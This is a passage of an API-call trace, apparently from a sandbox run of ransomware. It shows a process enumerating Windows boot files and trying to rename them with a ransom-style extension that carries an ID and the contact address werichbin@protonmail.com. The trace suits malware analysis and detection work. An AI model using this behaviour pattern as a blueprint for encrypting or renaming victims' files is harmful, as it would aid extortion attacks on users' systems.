| out: lpFileSize=0x265fda8*=89168) returned 1 [0076.236] CloseHandle (hObject=0x1a0) returned 1 [0076.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0076.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0076.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.236] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.236] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.237] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=87616) returned 1 [0076.237] CloseHandle (hObject=0x1a0) returned 1 [0076.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0076.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0076.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.237] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.237] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.238] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=91712) returned 1 [0076.238] CloseHandle (hObject=0x1a0) returned 1 [0076.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0076.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0076.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.238] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.238] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.238] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=94800) returned 1 [0076.239] CloseHandle (hObject=0x1a0) returned 1 [0076.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0076.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0076.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.239] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.239] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.239] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=85056) returned 1 [0076.240] CloseHandle (hObject=0x1a0) returned 1 [0076.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0076.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0076.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.240] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.240] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.240] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=43600) returned 1 [0076.241] CloseHandle (hObject=0x1a0) returned 1 [0076.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0076.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0076.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.241] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.241] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.241] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=90192) returned 1 [0076.241] CloseHandle (hObject=0x1a0) returned 1 [0076.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0076.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0076.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.242] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.242] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.242] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=89152) returned 1 [0076.242] CloseHandle (hObject=0x1a0) returned 1 [0076.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0076.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0076.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.243] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0076.243] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=3694080) returned 1 [0076.243] CloseHandle (hObject=0x1a0) returned 1 [0076.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0076.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0 [0076.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0076.244] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.527] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=3876772) returned 1 [0076.528] CloseHandle (hObject=0x1a4) returned 1 [0076.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0076.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0 [0076.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0076.668] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.668] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=2371360) returned 1 [0076.668] CloseHandle (hObject=0x1a4) returned 1 [0076.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0076.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0 [0076.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0076.669] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.670] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=47452) returned 1 [0076.670] CloseHandle (hObject=0x1a4) returned 1 [0076.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0076.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0076.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.670] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.670] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.671] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=93248) returned 1 [0076.671] CloseHandle (hObject=0x1a4) returned 1 [0076.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0076.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0076.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.671] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.672] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.672] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=90688) returned 1 [0076.672] CloseHandle (hObject=0x1a4) returned 1 [0076.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0076.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0076.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.672] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.673] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.673] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=90704) returned 1 [0076.673] CloseHandle (hObject=0x1a4) returned 1 [0076.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0076.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0076.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.673] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.674] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.674] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=76352) returned 1 [0076.674] CloseHandle (hObject=0x1a4) returned 1 [0076.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0076.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0076.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.674] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.675] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=75344) returned 1 [0076.675] CloseHandle (hObject=0x1a4) returned 1 [0076.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0076.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0076.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.676] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.676] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=485760) returned 1 [0076.676] CloseHandle (hObject=0x1a4) returned 1 [0076.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0076.676] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0076.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.677] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0076.677] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x265fda8 | out: lpFileSize=0x265fda8*=88144) returned 1 [0076.677] CloseHandle (hObject=0x1a4) returned 1 [0076.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0076.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0076.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-2795].[werichbin@protonmail.com].revon" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-2795].[werichbin@protonmail.com].revon")) returned 0xffffffff [0076.678] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.678] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, 